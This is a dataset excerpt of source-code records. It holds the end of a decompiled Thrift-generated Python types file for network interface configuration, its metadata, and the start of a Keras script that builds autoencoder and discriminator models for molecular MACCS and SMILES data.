iprot.skip(ftype)\n elif fid == 16:\n if ftype == TType.LIST:\n self.ipHelperAddr = []\n (_etype9, _size6,) = iprot.readListBegin()\n for _i10 in xrange(_size6):\n _elem11 = Shared.ttypes.NetworkAddressIDL()\n _elem11.read(iprot)\n self.ipHelperAddr.append(_elem11)\n\n iprot.readListEnd()\n else:\n iprot.skip(ftype)\n elif fid == 17:\n if ftype == TType.STRUCT:\n self.speedIDL = InterfaceConfigSpeedIDL()\n self.speedIDL.read(iprot)\n else:\n iprot.skip(ftype)\n elif fid == 18:\n if ftype == TType.STRUCT:\n self.duplexIDL = InterfaceConfigDuplexIDL()\n self.duplexIDL.read(iprot)\n else:\n iprot.skip(ftype)\n elif fid == 19:\n if ftype == TType.STRUCT:\n self.autoNegIDL = InterfaceConfigAutonegIDL()\n self.autoNegIDL.read(iprot)\n else:\n iprot.skip(ftype)\n elif fid == 20:\n if ftype == TType.STRUCT:\n self.fcIDL = InterfaceConfigFlowCtrlIDL()\n self.fcIDL.read(iprot)\n else:\n iprot.skip(ftype)\n elif fid == 21:\n if ftype == TType.I32:\n self.fwdClassID = iprot.readI32()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceConfigIDL')\n if self.layer2 != None:\n oprot.writeFieldBegin('layer2', TType.I32, 1)\n oprot.writeI32(self.layer2)\n oprot.writeFieldEnd()\n if self.mtu != None:\n oprot.writeFieldBegin('mtu', TType.I32, 2)\n oprot.writeI32(self.mtu)\n oprot.writeFieldEnd()\n if self.snmp != None:\n oprot.writeFieldBegin('snmp', TType.I64, 3)\n oprot.writeI64(self.snmp)\n oprot.writeFieldEnd()\n if self.tx != None:\n oprot.writeFieldBegin('tx', TType.I32, 4)\n oprot.writeI32(self.tx)\n oprot.writeFieldEnd()\n if self.rx != None:\n oprot.writeFieldBegin('rx', TType.I32, 5)\n oprot.writeI32(self.rx)\n oprot.writeFieldEnd()\n if self.mode != None:\n oprot.writeFieldBegin('mode', TType.BYTE, 6)\n oprot.writeByte(self.mode)\n oprot.writeFieldEnd()\n if self.encap != None:\n oprot.writeFieldBegin('encap', TType.BYTE, 7)\n oprot.writeByte(self.encap)\n oprot.writeFieldEnd()\n if self.duplex != None:\n oprot.writeFieldBegin('duplex', TType.BYTE, 8)\n oprot.writeByte(self.duplex)\n oprot.writeFieldEnd()\n if self.displayName != None:\n oprot.writeFieldBegin('displayName', TType.STRING, 9)\n oprot.writeString(self.displayName)\n oprot.writeFieldEnd()\n if self.macaddr != None:\n oprot.writeFieldBegin('macaddr', TType.LIST, 10)\n oprot.writeListBegin(TType.BYTE, len(self.macaddr))\n for iter12 in self.macaddr:\n oprot.writeByte(iter12)\n\n oprot.writeListEnd()\n oprot.writeFieldEnd()\n if self.descr != None:\n oprot.writeFieldBegin('descr', TType.STRING, 11)\n oprot.writeString(self.descr)\n oprot.writeFieldEnd()\n if self.ipRedirect != None:\n oprot.writeFieldBegin('ipRedirect', TType.I32, 12)\n oprot.writeI32(self.ipRedirect)\n oprot.writeFieldEnd()\n if self.ipUnreachable != None:\n oprot.writeFieldBegin('ipUnreachable', TType.I32, 13)\n oprot.writeI32(self.ipUnreachable)\n oprot.writeFieldEnd()\n if self.ipProxyArp != None:\n oprot.writeFieldBegin('ipProxyArp', TType.I32, 14)\n oprot.writeI32(self.ipProxyArp)\n oprot.writeFieldEnd()\n if self.ipUnicastReversePath != None:\n oprot.writeFieldBegin('ipUnicastReversePath', TType.I32, 15)\n oprot.writeI32(self.ipUnicastReversePath)\n oprot.writeFieldEnd()\n if self.ipHelperAddr != None:\n oprot.writeFieldBegin('ipHelperAddr', TType.LIST, 16)\n oprot.writeListBegin(TType.STRUCT, len(self.ipHelperAddr))\n for iter13 in self.ipHelperAddr:\n iter13.write(oprot)\n\n oprot.writeListEnd()\n oprot.writeFieldEnd()\n if self.speedIDL != None:\n oprot.writeFieldBegin('speedIDL', TType.STRUCT, 17)\n self.speedIDL.write(oprot)\n oprot.writeFieldEnd()\n if self.duplexIDL != None:\n oprot.writeFieldBegin('duplexIDL', TType.STRUCT, 18)\n self.duplexIDL.write(oprot)\n oprot.writeFieldEnd()\n if self.autoNegIDL != None:\n oprot.writeFieldBegin('autoNegIDL', TType.STRUCT, 19)\n self.autoNegIDL.write(oprot)\n oprot.writeFieldEnd()\n if self.fcIDL != None:\n oprot.writeFieldBegin('fcIDL', TType.STRUCT, 20)\n self.fcIDL.write(oprot)\n oprot.writeFieldEnd()\n if self.fwdClassID != None:\n oprot.writeFieldBegin('fwdClassID', TType.I32, 21)\n oprot.writeI32(self.fwdClassID)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceStatusIDL(object):\n \"\"\"\n Snapshot of dynamic status, retrieved on demand\n \n Attributes:\n - link\n - lineproto\n \"\"\"\n\n thrift_spec = (None, (1,\n TType.I32,\n 'link',\n None,\n None), (2,\n TType.I32,\n 'lineproto',\n None,\n None))\n\n def __init__(self, link = None, lineproto = None):\n self.link = link\n self.lineproto = lineproto\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I32:\n self.link = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.I32:\n self.lineproto = iprot.readI32()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceStatusIDL')\n if self.link != None:\n oprot.writeFieldBegin('link', TType.I32, 1)\n oprot.writeI32(self.link)\n oprot.writeFieldEnd()\n if self.lineproto != None:\n oprot.writeFieldBegin('lineproto', TType.I32, 2)\n oprot.writeI32(self.lineproto)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceStatisticsIDL(object):\n \"\"\"\n Attributes:\n - retcode\n - stats\n \"\"\"\n\n thrift_spec = (None, (1,\n TType.I32,\n 'retcode',\n None,\n None), (2,\n TType.I64,\n 'stats',\n None,\n None))\n\n def __init__(self, retcode = None, stats = None):\n self.retcode = retcode\n self.stats = stats\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I32:\n self.retcode = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.I64:\n self.stats = iprot.readI64()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceStatisticsIDL')\n if self.retcode != None:\n oprot.writeFieldBegin('retcode', TType.I32, 1)\n oprot.writeI32(self.retcode)\n oprot.writeFieldEnd()\n if self.stats != None:\n oprot.writeFieldBegin('stats', TType.I64, 2)\n oprot.writeI64(self.stats)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass InterfaceVlanIDL(object):\n \"\"\"\n Attributes:\n - encapType\n - vlanTag1\n - vlanTag2\n \"\"\"\n\n thrift_spec = (None,\n (1,\n TType.I32,\n 'encapType',\n None,\n None),\n (2,\n TType.I32,\n 'vlanTag1',\n None,\n None),\n (3,\n TType.I32,\n 'vlanTag2',\n None,\n None))\n\n def __init__(self, encapType = None, vlanTag1 = None, vlanTag2 = None):\n self.encapType = encapType\n self.vlanTag1 = vlanTag1\n self.vlanTag2 = vlanTag2\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I32:\n self.encapType = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 2:\n if ftype == TType.I32:\n self.vlanTag1 = iprot.readI32()\n else:\n iprot.skip(ftype)\n elif fid == 3:\n if ftype == TType.I32:\n self.vlanTag2 = iprot.readI32()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('InterfaceVlanIDL')\n if self.encapType != None:\n oprot.writeFieldBegin('encapType', TType.I32, 1)\n oprot.writeI32(self.encapType)\n oprot.writeFieldEnd()\n if self.vlanTag1 != None:\n oprot.writeFieldBegin('vlanTag1', TType.I32, 2)\n oprot.writeI32(self.vlanTag1)\n oprot.writeFieldEnd()\n if self.vlanTag2 != None:\n oprot.writeFieldBegin('vlanTag2', TType.I32, 3)\n oprot.writeI32(self.vlanTag2)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\nclass PChannel_MemberIDL(object):\n \"\"\"\n Attributes:\n - xosHandle\n \"\"\"\n\n thrift_spec = (None, (1,\n TType.I64,\n 'xosHandle',\n None,\n None))\n\n def __init__(self, xosHandle = None):\n self.xosHandle = xosHandle\n\n\n\n def read(self, iprot):\n if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:\n fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))\n return \n iprot.readStructBegin()\n while True:\n (fname, ftype, fid,) = iprot.readFieldBegin()\n if ftype == TType.STOP:\n break\n if fid == 1:\n if ftype == TType.I64:\n self.xosHandle = iprot.readI64()\n else:\n iprot.skip(ftype)\n else:\n iprot.skip(ftype)\n iprot.readFieldEnd()\n\n iprot.readStructEnd()\n\n\n\n def write(self, oprot):\n if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:\n oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))\n return \n oprot.writeStructBegin('PChannel_MemberIDL')\n if self.xosHandle != None:\n oprot.writeFieldBegin('xosHandle', TType.I64, 1)\n oprot.writeI64(self.xosHandle)\n oprot.writeFieldEnd()\n oprot.writeFieldStop()\n oprot.writeStructEnd()\n\n def validate(self):\n pass\n\n\n\n\n\n def __repr__(self):\n L = [ '%s=%r' % (key, value) for (key, value,) in self.__dict__.iteritems() ]\n return '%s(%s)' % (self.__class__.__name__, ', '.join(L))\n\n\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and self.__dict__ == other.__dict__\n\n\n\n def __ne__(self, other):\n return not self == other\n\n\n\n\n# decompiled 1 files: 1 okay, 0 failed, 0 verify failed\n# 2015.02.05 17:22:06 IST\n", "sub_path": "onepk_without_pyc/onep/NetworkInterfaceIDL/ttypes.py", "file_name": "ttypes.py", "file_ext": "py", "file_size_in_byte": 41992, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "thrift.protocol.fastbinary", "line_number": 9, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 61, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 61, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 61, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 61, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 61, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 62, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 62, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 103, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 103, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 103, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 104, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 104, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 174, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 174, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 174, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 174, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 174, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 175, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 175, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 196, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 196, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 196, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 197, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 197, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 264, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 264, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 264, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 264, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 264, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 265, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 265, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 296, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 296, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 296, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 297, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 297, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 363, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 363, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 363, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 363, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 363, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 364, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 364, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 390, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 390, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 390, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 391, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 391, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 453, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 453, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 453, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 453, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 453, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 454, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 454, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 480, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 480, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 480, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 481, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 481, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 559, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 559, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 559, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 559, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 559, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 560, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 560, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 596, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 596, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 596, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 597, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 597, "usage_type": "name"}, {"api_name": "Shared.ttypes.ttypes", "line_number": 757, "usage_type": "attribute"}, {"api_name": "Shared.ttypes", "line_number": 757, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 818, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 818, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 818, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 818, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 818, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 819, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 819, "usage_type": "name"}, {"api_name": "Shared.ttypes.ttypes.NetworkAddressIDL", "line_number": 912, "usage_type": "call"}, {"api_name": "Shared.ttypes.ttypes", "line_number": 912, "usage_type": "attribute"}, {"api_name": "Shared.ttypes", "line_number": 912, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 957, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 957, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 957, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 958, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 958, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1106, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1106, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 1106, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 1106, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1106, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 1107, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1107, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1133, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1133, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1133, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 1134, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1134, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1196, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1196, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 1196, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 1196, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1196, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 1197, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1197, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1223, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1223, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1223, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 1224, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1224, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1295, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1295, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 1295, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 1295, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1295, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 1296, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1296, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1327, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1327, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1327, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 1328, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1328, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1388, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1388, "usage_type": "name"}, {"api_name": "thrift.transport.TTransport.CReadableTransport", "line_number": 1388, "usage_type": "attribute"}, {"api_name": "thrift.transport.TTransport", "line_number": 1388, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1388, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.decode_binary", "line_number": 1389, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1389, "usage_type": "name"}, {"api_name": "thrift.protocol.TBinaryProtocol.TBinaryProtocolAccelerated", "line_number": 1410, "usage_type": "attribute"}, {"api_name": "thrift.protocol.TBinaryProtocol", "line_number": 1410, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1410, "usage_type": "name"}, {"api_name": "thrift.protocol.fastbinary.encode_binary", "line_number": 1411, "usage_type": "call"}, {"api_name": "thrift.protocol.fastbinary", "line_number": 1411, "usage_type": "name"}]} {"seq_id": "308488241", "text": "from __future__ import print_function, division\nimport scipy\nfrom keras import metrics\n# from keras_contrib.layers.normalization.instancenormalization import InstanceNormalization\nfrom keras.layers import Input, Dense, Reshape, Flatten, Dropout, Embedding, LSTM, Lambda\nfrom keras.layers import BatchNormalization, Activation, ZeroPadding2D\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.layers.convolutional import UpSampling2D, Conv2D\nfrom keras.layers.recurrent import SimpleRNN\nfrom keras.models import Sequential, Model, load_model\nfrom keras.optimizers import Adam\nfrom keras import backend as K\nfrom keras.preprocessing import sequence\nimport datetime\nimport matplotlib.pyplot as plt\nimport sys\nimport numpy as np\nimport os\nimport pandas as pd\n# from data_loader import DataLoader\nfrom keras.utils import np_utils\nfrom keras.callbacks import ModelCheckpoint, TensorBoard, EarlyStopping, CSVLogger\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.model_selection import train_test_split\nimport tensorflow as tf\nimport random\n\ngpu_options = tf.GPUOptions(allow_growth=True)\nsess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\n\n\nclass Universal():\n # A=R B=T\n def __init__(self):\n # Input shape\n self.maccs_shape = (None, 166) # (length, group)\n self.smile_shape = (None, 50) # (length, char)\n self.x_shape = (None, 200)\n # Load data\n self.maccs_data = self.load_maccs_data()\n self.smile_data = self.load_smile_data()\n self.smile_data_3d = self.load_smile_data_3d()\n\n # set optimizer\n optimizer = Adam(1e-7, 0.5) # (lr,beta)\n\n # Build the Dis_S\n self.Dis_S = self.build_Dis_S()\n self.Dis_S.compile(loss='binary_crossentropy',\n optimizer=optimizer,\n metrics=['accuracy'])\n\n # Build and compile for Decoder\n self.D_X2M = self.build_D_X2M()\n self.D_X2S = self.build_D_X2S()\n\n # Build the Encoder\n self.E_M2X = self.build_E_M2X()\n self.E_S2X = self.build_E_S2X()\n # Build the Error_X\n self.X_error = self.build_X_error()\n # Build a coder for noise\n self.X_M_noise = self.build_X_M_noise()\n\n # Input images from both domains\n Maccs = Input(batch_shape=self.maccs_shape)\n Smile = Input(batch_shape=self.smile_shape)\n\n # Translate images to the other domain\n X_from_M = self.E_M2X(Maccs)\n X_from_S = self.E_S2X(Smile)\n X_from_M_with_noise = self.X_M_noise(self.E_M2X(Maccs))\n\n # Translate images back to original domain\n reconstr_M = self.D_X2M(X_from_M)\n generate_S = self.D_X2S(X_from_M_with_noise)\n reconstr_S = self.D_X2S(X_from_S)\n generate_M = self.D_X2M(X_from_S)\n X_error = self.X_error([X_from_M, X_from_S])\n\n # For the combined model we will only train the generators\n self.Dis_S.trainable = False\n\n # Discriminators determines validity of translated images\n discrmin_S = self.Dis_S(generate_S)\n\n # Combined model trains generators to fool discriminators\n self.AE_combined = Model(inputs=[Maccs, Smile],\n outputs=[reconstr_S,\n generate_M,\n reconstr_M,\n discrmin_S,\n X_error])\n self.AE_combined.compile(loss=['categorical_crossentropy', 'binary_crossentropy',\n 'binary_crossentropy', 'binary_crossentropy',\n 'mse'],\n loss_weights=[5, 1,\n 1, 1,\n 3],\n optimizer=optimizer,\n 